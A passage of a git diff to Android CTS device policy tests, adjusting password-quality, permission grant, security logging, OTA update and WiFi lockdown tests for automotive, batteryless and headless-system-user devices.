-                mDevicePolicyManager.getPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT));
-        assertEquals(TEST_VALUE,
-                mDevicePolicyManager.getPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT));
-        assertEquals(TEST_VALUE,
-                mDevicePolicyManager.getPasswordMinimumUpperCase(ADMIN_RECEIVER_COMPONENT));
-        assertEquals(TEST_VALUE,
-                mDevicePolicyManager.getPasswordMinimumLowerCase(ADMIN_RECEIVER_COMPONENT));
-        assertEquals(TEST_VALUE,
-                mDevicePolicyManager.getPasswordMinimumNonLetter(ADMIN_RECEIVER_COMPONENT));
-        assertEquals(TEST_VALUE,
-                mDevicePolicyManager.getPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT));
+        if (mIsAutomotive) {
+            assertEquals(DEFAULT_LENGTH,
+                    mDevicePolicyManager.getPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(DEFAULT_NUMERIC,
+                    mDevicePolicyManager.getPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(DEFAULT_LETTERS,
+                    mDevicePolicyManager.getPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(DEFAULT_UPPERCASE,
+                    mDevicePolicyManager.getPasswordMinimumUpperCase(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(DEFAULT_LOWERCASE,
+                    mDevicePolicyManager.getPasswordMinimumLowerCase(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(DEFAULT_NON_LETTER,
+                    mDevicePolicyManager.getPasswordMinimumNonLetter(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(DEFAULT_SYMBOLS,
+                    mDevicePolicyManager.getPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT));
+        } else {
+            assertEquals(TEST_VALUE,
+                    mDevicePolicyManager.getPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(TEST_VALUE,
+                    mDevicePolicyManager.getPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(TEST_VALUE,
+                    mDevicePolicyManager.getPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(TEST_VALUE,
+                    mDevicePolicyManager.getPasswordMinimumUpperCase(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(TEST_VALUE,
+                    mDevicePolicyManager.getPasswordMinimumLowerCase(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(TEST_VALUE,
+                    mDevicePolicyManager.getPasswordMinimumNonLetter(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(TEST_VALUE,
+                    mDevicePolicyManager.getPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT));
+
+        }
     }
 
     public void testSettingConstraintsWithLowQualityThrowsOnRPlus() {
+        if (!deviceSupportDeprecatedPasswordQualityAPIs(
+                "testSettingConstraintsWithLowQualityThrowsOnRPlus")) {
+            return;
+        }
+
         // On R and above quality should be set first.
         mDevicePolicyManager.setPasswordQuality(
                 ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_SOMETHING);
@@ -89,6 +116,11 @@
     }
 
     public void testSettingConstraintsWithNumericQualityOnlyLengthAllowedOnRPlus() {
+        if (!deviceSupportDeprecatedPasswordQualityAPIs(
+                "testSettingConstraintsWithNumericQualityOnlyLengthAllowedOnRPlus")) {
+            return;
+        }
+
         // On R and above quality should be set first.
         mDevicePolicyManager.setPasswordQuality(
                 ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_NUMERIC);
@@ -112,6 +144,11 @@
     }
 
     public void testSettingConstraintsWithComplexQualityAndResetWithLowerQuality() {
+        if (!deviceSupportDeprecatedPasswordQualityAPIs(
+                "testSettingConstraintsWithComplexQualityAndResetWithLowerQuality")) {
+            return;
+        }
+
         // On R and above when quality is lowered, irrelevant requirements are getting reset.
         mDevicePolicyManager.setPasswordQuality(
                 ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_COMPLEX);
@@ -153,6 +190,13 @@
         // Now length should also be reset.
         assertEquals(DEFAULT_LENGTH,
                 mDevicePolicyManager.getPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT));
+    }
 
+    private boolean deviceSupportDeprecatedPasswordQualityAPIs(String test) {
+        if (mIsAutomotive) {
+            Log.d(mTag, "Skipping " + test + "on automotive build");
+            return false;
+        }
+        return true;
     }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
index f0d69e8..1ab76e5 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
@@ -34,8 +34,11 @@
 import android.Manifest.permission;
 import android.app.UiAutomation;
 import android.app.admin.DevicePolicyManager;
+import android.content.Context;
 import android.content.IntentFilter;
 import android.os.Process;
+import android.os.UserHandle;
+import android.os.UserManager;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.BySelector;
 import android.support.test.uiautomator.UiDevice;
@@ -238,27 +241,43 @@
 
     private void assertCanSetPermissionGrantStatePreMApp(String permission, int value)
             throws Exception {
-        assertTrue(mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                PRE_M_APP_PACKAGE_NAME, permission, value));
-        assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                PRE_M_APP_PACKAGE_NAME, permission), value);
+        Log.d(TAG, "Calling " + mDevicePolicyManager + ".setPermissionGrantState("
+                + PRE_M_APP_PACKAGE_NAME + ", " + permission + ", "
+                + permissionGrantStateToString(value) + ")");
+        boolean result = mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+                PRE_M_APP_PACKAGE_NAME, permission, value);
+        Log.d(TAG, "Result: " + result);
+
+        assertWithMessage("%s.setPermissionGrantState(%s, %s, %s)", mDevicePolicyManager,
+                ADMIN_RECEIVER_COMPONENT, PRE_M_APP_PACKAGE_NAME,
+                permissionGrantStateToString(value)).that(result).isTrue();
+
+        assertPermissionGrantState(mDevicePolicyManager, PRE_M_APP_PACKAGE_NAME, permission, value);
+
+        Context context = mContext;
+        if (mIsDeviceOwnerTest && UserManager.isHeadlessSystemUserMode()) {
+            Log.d(TAG, "Using context for system user on device owner test because device uses "
+                    + "headless system user mode");
+            context = mContext.createContextAsUser(UserHandle.SYSTEM, /* flags= */ 0);
+        }
 
         // Install time permissions should always be granted
-        PermissionUtils.checkPermission(permission, PERMISSION_GRANTED, PRE_M_APP_PACKAGE_NAME);
+        PermissionUtils.checkPermission(context, permission, PERMISSION_GRANTED,
+                PRE_M_APP_PACKAGE_NAME);
 
         // For pre-M apps the access to the data might be prevented via app-ops. Hence check that
         // they are correctly set
         switch (value) {
             case PERMISSION_GRANT_STATE_GRANTED:
-                PermissionUtils.checkPermissionAndAppOps(permission, PERMISSION_GRANTED,
+                PermissionUtils.checkPermissionAndAppOps(context, permission, PERMISSION_GRANTED,
                         PRE_M_APP_PACKAGE_NAME);
                 break;
             case PERMISSION_GRANT_STATE_DENIED:
-                PermissionUtils.checkPermissionAndAppOps(permission, PERMISSION_DENIED,
+                PermissionUtils.checkPermissionAndAppOps(context, permission, PERMISSION_DENIED,
                         PRE_M_APP_PACKAGE_NAME);
                 break;
             default:
-                fail("unsupported policy value");
+                fail("unsupported policy value (" + value + ")");
         }
     }
 
@@ -438,9 +457,10 @@
             int grantState) {
         boolean result = dpm.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
                 PERMISSION_APP_PACKAGE_NAME, permission, grantState);
-        Log.d(TAG, "setPermissionGrantState(" + permission + "): requested " + grantState + " ("
-                + permissionGrantStateToString(grantState) + ") using DPM " + mDevicePolicyManager
-                + " on uid " + Process.myUid() + ", got " + result);
+        Log.d(TAG, "setPermissionGrantState(" + PERMISSION_APP_PACKAGE_NAME + ", " + permission
+                + "): requested " + grantState + " (" + permissionGrantStateToString(grantState)
+                + ") using DPM " + mDevicePolicyManager + " on uid " + Process.myUid()
+                + ", got " + result);
         return result;
     }
 
@@ -450,12 +470,17 @@
 
     private void assertPermissionGrantState(DevicePolicyManager dpm, String permission,
             int expectedState) {
+        assertPermissionGrantState(dpm, PERMISSION_APP_PACKAGE_NAME, permission, expectedState);
+    }
+
+    private void assertPermissionGrantState(DevicePolicyManager dpm, String packageName,
+            String permission, int expectedState) {
         int actualState = dpm.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                PERMISSION_APP_PACKAGE_NAME, permission);
+                packageName, permission);
 
         assertWithMessage("%s.getPermissionGrantState(%s, %s, %s) (where %s=%s and %s=%s)",
-                mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT, PERMISSION_APP_PACKAGE_NAME,
-                permission, expectedState, permissionGrantStateToString(expectedState),
+                mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT, packageName, permission,
+                expectedState, permissionGrantStateToString(expectedState),
                 actualState, permissionGrantStateToString(actualState))
                         .that(actualState)
                         .isEqualTo(expectedState);
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
index db28c24..d8fd8df 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
@@ -491,14 +491,24 @@
         return findEvent(description, events, e -> e.getTag() == tag);
     }
 
+    private List<SecurityEvent> findEvents(List<SecurityEvent> events,
+            Predicate<SecurityEvent> predicate) {
+        return events.stream().filter(predicate).collect(Collectors.toList());
+    }
+
     private SecurityEvent findEvent(String description, List<SecurityEvent> events,
             Predicate<SecurityEvent> predicate) {
-        final List<SecurityEvent> matches =
-                events.stream().filter(predicate).collect(Collectors.toList());
+        final List<SecurityEvent> matches = findEvents(events, predicate);
         assertEquals("Invalid number of matching events: " + description, 1, matches.size());
         return matches.get(0);
     }
 
+    private void assertNumberEvents(String description, List<SecurityEvent> events,
+            Predicate<SecurityEvent> predicate, int expectedSize) {
+        assertEquals("Invalid number of matching events: " + description, expectedSize,
+                findEvents(events, predicate).size());
+    }
+
     private static Object getDatum(SecurityEvent event, int index) {
         final Object[] dataArray = (Object[]) event.getData();
         return dataArray[index];
@@ -679,21 +689,21 @@
         // The order should be consistent with the order in generatePasswordComplexityEvents(), so
         // that the expected values change in the same sequence as when setting password policies.
         expectedPayload[PWD_QUALITY_INDEX] = PASSWORD_QUALITY_COMPLEX;
-        findPasswordComplexityEvent("set pwd quality", events, expectedPayload);
+        assertPasswordComplexityEvent("set pwd quality", events, expectedPayload);
         expectedPayload[PWD_LEN_INDEX] = TEST_PWD_LENGTH;
-        findPasswordComplexityEvent("set pwd length", events, expectedPayload);
+        assertPasswordComplexityEvent("set pwd length", events, expectedPayload);
         expectedPayload[LETTERS_INDEX] = TEST_PWD_CHARS;
-        findPasswordComplexityEvent("set pwd min letters", events, expectedPayload);
+        assertPasswordComplexityEvent("set pwd min letters", events, expectedPayload);
         expectedPayload[NON_LETTERS_INDEX] = TEST_PWD_CHARS;
-        findPasswordComplexityEvent("set pwd min non-letters", events, expectedPayload);
+        assertPasswordComplexityEvent("set pwd min non-letters", events, expectedPayload);
         expectedPayload[UPPERCASE_INDEX] = TEST_PWD_CHARS;
-        findPasswordComplexityEvent("set pwd min uppercase", events, expectedPayload);
+        assertPasswordComplexityEvent("set pwd min uppercase", events, expectedPayload);
         expectedPayload[LOWERCASE_INDEX] = TEST_PWD_CHARS;
-        findPasswordComplexityEvent("set pwd min lowercase", events, expectedPayload);
+        assertPasswordComplexityEvent("set pwd min lowercase", events, expectedPayload);
         expectedPayload[NUMERIC_INDEX] = TEST_PWD_CHARS;
-        findPasswordComplexityEvent("set pwd min numeric", events, expectedPayload);
+        assertPasswordComplexityEvent("set pwd min numeric", events, expectedPayload);
         expectedPayload[SYMBOLS_INDEX] = TEST_PWD_CHARS;
-        findPasswordComplexityEvent("set pwd min symbols", events, expectedPayload);
+        assertPasswordComplexityEvent("set pwd min symbols", events, expectedPayload);
     }
 
     private void verifyNewStylePasswordComplexityEventPresent(List<SecurityEvent> events) {
@@ -769,10 +779,11 @@
                         getInt(e, ADMIN_USER_INDEX) == userId);
     }
 
-    private void findPasswordComplexityEvent(
+    private void assertPasswordComplexityEvent(
             String description, List<SecurityEvent> events, Object[] expectedPayload) {
-        findEvent(description, events,
-                byTagAndPayload(TAG_PASSWORD_COMPLEXITY_SET, expectedPayload));
+        int expectedSize = mIsAutomotive ? 0 : 1;
+        assertNumberEvents(description, events,
+                byTagAndPayload(TAG_PASSWORD_COMPLEXITY_SET, expectedPayload), expectedSize);
     }
 
     private void findNewStylePasswordComplexityEvent(
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/UserRestrictionsParentTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/UserRestrictionsParentTest.java
index 75bcdf1..974ab7b 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/UserRestrictionsParentTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/UserRestrictionsParentTest.java
@@ -115,7 +115,7 @@
     }
 
     public void testUserRestrictionDisallowConfigDateTimeIsNotPersisted() throws Exception {
-        final long deadline = System.nanoTime() + TimeUnit.SECONDS.toNanos(30);
+        final long deadline = System.nanoTime() + TimeUnit.SECONDS.toNanos(60);
         while (System.nanoTime() <= deadline) {
             if (!mUserManager.hasUserRestriction(UserManager.DISALLOW_CONFIG_DATE_TIME)) {
                 return;
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/systemupdate/InstallUpdateTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/systemupdate/InstallUpdateTest.java
index 53fa547..2dfa7e1 100755
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/systemupdate/InstallUpdateTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/systemupdate/InstallUpdateTest.java
@@ -63,39 +63,64 @@
                 InstallSystemUpdateCallback.UPDATE_ERROR_FILE_NOT_FOUND);
     }
 
-    public void testInstallUpdate_failNoZipOtaFile() throws InterruptedException {
+    public void testInstallUpdate_failNoZipOtaFile() throws Exception {
         if (!isDeviceAB()) {
             return;
         }
-        assertUpdateError("notZip.zi", UPDATE_ERROR_UPDATE_FILE_INVALID);
+        try {
+            setupBatteryState();
+            assertUpdateError("notZip.zi", UPDATE_ERROR_UPDATE_FILE_INVALID);
+        } finally {
+            teardownBatteryState();
+        }
     }
 
-    public void testInstallUpdate_failWrongPayloadFile() throws InterruptedException {
+    public void testInstallUpdate_failWrongPayloadFile() throws Exception {
         if (!isDeviceAB()) {
             return;
         }
-        assertUpdateError("wrongPayload.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
+        try {
+            setupBatteryState();
+            assertUpdateError("wrongPayload.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
+        } finally {
+            teardownBatteryState();
+        }
     }
 
-    public void testInstallUpdate_failEmptyOtaFile() throws InterruptedException {
+    public void testInstallUpdate_failEmptyOtaFile() throws Exception {
         if (!isDeviceAB()) {
             return;
         }
-        assertUpdateError("empty.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
+        try {
+            setupBatteryState();
+            assertUpdateError("empty.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
+        } finally {
+            teardownBatteryState();
+        }
     }
 
-    public void testInstallUpdate_failWrongHash() throws InterruptedException {
+    public void testInstallUpdate_failWrongHash() throws Exception {
         if (!isDeviceAB()) {
             return;
         }
-        assertUpdateError("wrongHash.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
+        try {
+            setupBatteryState();
+            assertUpdateError("wrongHash.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
+        } finally {
+            teardownBatteryState();
+        }
     }
 
-    public void testInstallUpdate_failWrongSize() throws InterruptedException {
+    public void testInstallUpdate_failWrongSize() throws Exception {
         if (!isDeviceAB()) {
             return;
         }
-        assertUpdateError("wrongSize.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
+        try {
+            setupBatteryState();
+            assertUpdateError("wrongSize.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
+        } finally {
+            teardownBatteryState();
+        }
     }
 
     public void testInstallUpdate_notCharging_belowThreshold_failsBatteryCheck() throws Exception {
@@ -251,4 +276,31 @@
     private boolean isDeviceAB() {
         return "true".equalsIgnoreCase(SystemProperties.get(AB_DEVICE_KEY, ""));
     }
+
+    private boolean deviceHasBattery() {
+        final Intent batteryInfo = mContext.registerReceiver(null,
+                new IntentFilter(Intent.ACTION_BATTERY_CHANGED));
+        return batteryInfo != null
+               && batteryInfo.getBooleanExtra(BatteryManager.EXTRA_PRESENT, true);
+    }
+
+    /**
+     * This is just for batteryless device,as we know from above that remaining capacity
+     * is 0 on Android 9 and higher. We need set battery status to meet the test conditions
+     * of InstallUpdateTest for batteryless device.
+     * For device has a battery, the test conditions follow the real status of the battery.
+     */
+    private void setupBatteryState() throws Exception {
+        if (!deviceHasBattery()) {
+            setChargingBatteryThreshold(TEST_BATTERY_THRESHOLD);
+            setChargingBatteryLevelAndWait(TEST_BATTERY_THRESHOLD);
+        }
+    }
+
+    private void teardownBatteryState() {
+        if (!deviceHasBattery()) {
+            resetBatteryState();
+            resetDevicePolicyConstants();
+        }
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/Android.bp b/hostsidetests/devicepolicy/app/DeviceOwner/Android.bp
index 99ebd9f..0fc8b16 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/Android.bp
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/Android.bp
@@ -50,7 +50,7 @@
         "arcts",
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
         "sts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
index 5f8766e..acbfb08 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
@@ -52,6 +52,7 @@
 
     protected DevicePolicyManager mDevicePolicyManager;
     protected WifiManager mWifiManager;
+    protected WifiManager mCurrentUserWifiManager;
     protected WifiConfigCreator mWifiConfigCreator;
     protected Instrumentation mInstrumentation;
     protected UiDevice mDevice;
@@ -75,15 +76,8 @@
                 BasicAdminReceiver.class, /* forDeviceOwner= */ true);
         mWifiManager = TestAppSystemServiceFactory.getWifiManager(mContext,
                 BasicAdminReceiver.class);
-        WifiManager currentUserWifiManager = mContext.getSystemService(WifiManager.class);
-        mWifiConfigCreator = new WifiConfigCreator(mContext, mWifiManager) {
-            @Override
-            public List<WifiConfiguration> getConfiguredNetworks() {
-                // Must always use the current user's wifi manager, otherwise it would fail on
-                // headless system user (as the device owner is not the current user).
-                return currentUserWifiManager.getConfiguredNetworks();
-            }
-        };
+        mCurrentUserWifiManager = mContext.getSystemService(WifiManager.class);
+        mWifiConfigCreator = new WifiConfigCreator(mContext, mWifiManager);
 
         mHasSecureLockScreen = mContext.getPackageManager().hasSystemFeature(
                 PackageManager.FEATURE_SECURE_LOCK_SCREEN);
@@ -127,4 +121,12 @@
     protected final UserHandle getCurrentUser() {
         return UserHandle.of(ActivityManager.getCurrentUser());
     }
+
+    protected final List<WifiConfiguration> getConfiguredNetworks() {
+        // Must use a the WifiManager of the current user to list networks, as
+        // getConfiguredNetworks() would return empty on systems using headless system
+        // mode as that method "Return a list of all the networks configured for the current
+        // foreground user", and the system user is running in the background in this case.
+        return mCurrentUserWifiManager.getConfiguredNetworks();
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
index 32cc187..4f98568 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
@@ -32,6 +32,7 @@
 import android.os.IBinder;
 import android.os.PersistableBundle;
 import android.os.RemoteException;
+import android.os.SystemClock;
 import android.os.UserHandle;
 import android.os.UserManager;
 import android.provider.Settings;
@@ -199,6 +200,63 @@
                 .containsExactly(userHandle, userHandle);
     }
 
+    public void testCreateAndManageUser_newUserDisclaimer() throws Exception {
+        // First check that the current user doesn't need it
+        UserHandle currentUser = getCurrentUser();
+        Log.d(TAG, "Checking if current user (" + currentUser + ") is acked");
+        assertWithMessage("isNewUserDisclaimerAcknowledged() for current user %s", currentUser)
+                .that(mDevicePolicyManager.isNewUserDisclaimerAcknowledged()).isTrue();
+
+        UserHandle newUser = runCrossUserVerificationSwitchingUser("newUserDisclaimer");
+        PrimaryUserService.assertCrossUserCallArrived();
+    }
+
+    @SuppressWarnings("unused")
+    private static void newUserDisclaimer(Context context, DevicePolicyManager dpm,
+            ComponentName componentName) {
+
+        // Need to wait until host-side granted INTERACT_ACROSS_USERS - use getCurrentUser() to
+        // check
+        int currentUserId = UserHandle.USER_NULL;
+        long maxAttempts = ON_ENABLED_TIMEOUT_SECONDS;
+        int waitingTimeMs = 1_000;
+        int attempt = 0;
+        int myUserId = context.getUserId();
+        do {
+            attempt++;
+            try {
+                Log.d(TAG, "checking if user " + myUserId + " is current user");
+                currentUserId = ActivityManager.getCurrentUser();
+                Log.d(TAG, "currentUserId: " + currentUserId);
+            } catch (SecurityException e) {
+                Log.d(TAG, "Got exception (" + e.getMessage() + ") on attempt #" + attempt
+                        + ", waiting " + waitingTimeMs + "ms until app is authorized");
+                SystemClock.sleep(waitingTimeMs);
+
+            }
+        } while (currentUserId != myUserId && attempt < maxAttempts);
+        Log.v(TAG, "Out of the loop, let's hope for the best...");
+
+        if (currentUserId == UserHandle.USER_NULL) {
+            throw new IllegalStateException("App could was not authorized to check current user");
+        }
+        assertWithMessage("current user").that(currentUserId).isEqualTo(myUserId);
+
+        // Now that the plumbing is done, go back to work...
+        Log.d(TAG, "Calling isNewUserDisclaimerAcknowledged()");
+        boolean isAcked = dpm.isNewUserDisclaimerAcknowledged();
+
+        Log.d(TAG, "is it: " + isAcked);
+        assertWithMessage("isNewUserDisclaimerAcknowledged()").that(isAcked).isFalse();
+        Log.d(TAG, "Calling acknowledgeNewUserDisclaimer()");
+        dpm.acknowledgeNewUserDisclaimer();
+
+        Log.d(TAG, "Calling isNewUserDisclaimerAcknowledged() again");
+        isAcked = dpm.isNewUserDisclaimerAcknowledged();
+        Log.d(TAG, "is it now: " + isAcked);
+        assertWithMessage("isNewUserDisclaimerAcknowledged()").that(isAcked).isTrue();
+    }
+
     @SuppressWarnings("unused")
     private static void assertAffiliatedUser(Context context,
             DevicePolicyManager devicePolicyManager, ComponentName componentName) {
@@ -291,6 +349,17 @@
     private UserHandle runCrossUserVerification(UserActionCallback callback,
             int createAndManageUserFlags, String methodName,
             Set<String> currentUserPackages) throws Exception {
+        return runCrossUserVerification(callback, createAndManageUserFlags, methodName,
+                /* switchUser= */ false, currentUserPackages);
+    }
+    private UserHandle runCrossUserVerificationSwitchingUser(String methodName) throws Exception {
+        return runCrossUserVerification(/* callback= */ null, /* createAndManageUserFlags= */ 0,
+                methodName, /* switchUser= */ true, /* currentUserPackages= */ null);
+    }
+
+    private UserHandle runCrossUserVerification(UserActionCallback callback,
+            int createAndManageUserFlags, String methodName, boolean switchUser,
+            Set<String> currentUserPackages) throws Exception {
         Log.d(TAG, "runCrossUserVerification(): flags=" + createAndManageUserFlags
                 + ", method=" + methodName);
         String testUserName = "TestUser_" + System.currentTimeMillis();
@@ -313,7 +382,9 @@
         Log.d(TAG, "creating user with PO " + profileOwner);
 
         UserHandle userHandle = createAndManageUser(profileOwner, bundle, createAndManageUserFlags);
-        if (callback != null) {
+        if (switchUser) {
+            switchUserAndWaitForBroadcasts(userHandle);
+        } else if (callback != null) {
             startUserInBackgroundAndWaitForBroadcasts(callback, userHandle);
         } else {
             startUserInBackgroundAndWaitForBroadcasts(userHandle);
@@ -474,7 +545,7 @@
 
     public static final class PrimaryUserService extends Service {
         private static final Semaphore sSemaphore = new Semaphore(0);
-        private static String sError = null;
+        private static String sError;
 
         private final ICrossUserService.Stub mBinder = new ICrossUserService.Stub() {
             public void onEnabledCalled(String error) {
@@ -493,6 +564,8 @@
         }
 
         static void assertCrossUserCallArrived() throws Exception {
+            Log.v(TAG, "assertCrossUserCallArrived(): waiting " + ON_ENABLED_TIMEOUT_SECONDS
+                    + " seconds for callback");
             assertWithMessage("cross-user call arrived in %ss", ON_ENABLED_TIMEOUT_SECONDS)
                     .that(sSemaphore.tryAcquire(ON_ENABLED_TIMEOUT_SECONDS, TimeUnit.SECONDS))
                     .isTrue();
@@ -504,11 +577,10 @@
     }
 
     public static final class SecondaryUserAdminReceiver extends DeviceAdminReceiver {
-
         @Override
         public void onEnabled(Context context, Intent intent) {
             Log.d(TAG, "SecondaryUserAdminReceiver.onEnabled() called on user "
-                    + context.getUserId());
+                    + context.getUserId() + " and thread " + Thread.currentThread());
 
             DevicePolicyManager dpm = context.getSystemService(DevicePolicyManager.class);
             ComponentName who = getComponentName(context);
@@ -547,9 +619,13 @@
             } catch (InvocationTargetException e) {
                 error = e.getCause().toString();
             }
+            if (error != null) {
+                Log.e(TAG, "Error calling method: " + error);
+            }
 
             // Call all affiliated users
             final List<UserHandle> targetUsers = dpm.getBindDeviceAdminTargetUsers(who);
+            Log.d(TAG, "target users: " + targetUsers);
             assertWithMessage("target users").that(targetUsers).hasSize(1);
 
             pingTargetUser(context, dpm, targetUsers.get(0), error);
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiConfigLockdownTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiConfigLockdownTest.java
index 89a7b29..d8cb848 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiConfigLockdownTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiConfigLockdownTest.java
@@ -30,6 +30,7 @@
 
 import android.content.Intent;
 import android.net.wifi.WifiConfiguration;
+import android.os.Process;
 import android.provider.Settings;
 import android.util.Log;
 
@@ -54,6 +55,12 @@
                 Settings.Global.WIFI_DEVICE_OWNER_CONFIGS_LOCKDOWN, "1");
         mWifiConfigCreator.addNetwork(ORIGINAL_DEVICE_OWNER_SSID, true, SECURITY_TYPE_WPA,
                 ORIGINAL_PASSWORD);
+
+        Log.d(TAG, "setUp: user=" + Process.myUserHandle() + ", creator=" + mWifiConfigCreator
+                + ", dpm=" + mDevicePolicyManager + ", wifiMgr=" + mWifiManager
+                + ", mCurrentUserWifiManager= " + mCurrentUserWifiManager);
+        logConfigs("setup()", getConfiguredNetworks());
+
         startRegularActivity(ACTION_CREATE_WIFI_CONFIG, -1, ORIGINAL_REGULAR_SSID,
                 SECURITY_TYPE_WPA, ORIGINAL_PASSWORD);
     }
@@ -62,7 +69,7 @@
     protected void tearDown() throws Exception {
         mDevicePolicyManager.setGlobalSetting(getWho(),
                 Settings.Global.WIFI_DEVICE_OWNER_CONFIGS_LOCKDOWN, "0");
-        List<WifiConfiguration> configs = mWifiConfigCreator.getConfiguredNetworks();
+        List<WifiConfiguration> configs = getConfiguredNetworks();
         logConfigs("tearDown()", configs);
         for (WifiConfiguration config : configs) {
             if (areMatchingSsids(ORIGINAL_DEVICE_OWNER_SSID, config.SSID) ||
@@ -77,7 +84,7 @@
     }
 
     public void testDeviceOwnerCanUpdateConfig() throws Exception {
-        List<WifiConfiguration> configs = mWifiConfigCreator.getConfiguredNetworks();
+        List<WifiConfiguration> configs = getConfiguredNetworks();
         logConfigs("testDeviceOwnerCanUpdateConfig()", configs);
         int updateCount = 0;
         for (WifiConfiguration config : configs) {
@@ -105,7 +112,8 @@
     }
 
     public void testDeviceOwnerCanRemoveConfig() throws Exception {
-        List<WifiConfiguration> configs = mWifiManager.getConfiguredNetworks();
+        List<WifiConfiguration> configs = getConfiguredNetworks();
+        logConfigs("testDeviceOwnerCanRemoveConfig()", configs);
         int removeCount = 0;
         for (WifiConfiguration config : configs) {
             if (areMatchingSsids(ORIGINAL_DEVICE_OWNER_SSID, config.SSID)
@@ -114,20 +122,26 @@
                 // config, and they are auto-removed when the corresponding config is removed.
                 // Recheck every config against the latest list of wifi configurations and skip
                 // those which is already auto-removed.
-                if (mWifiManager.getConfiguredNetworks().stream()
-                        .noneMatch(c -> c.networkId == config.networkId)) continue;
-
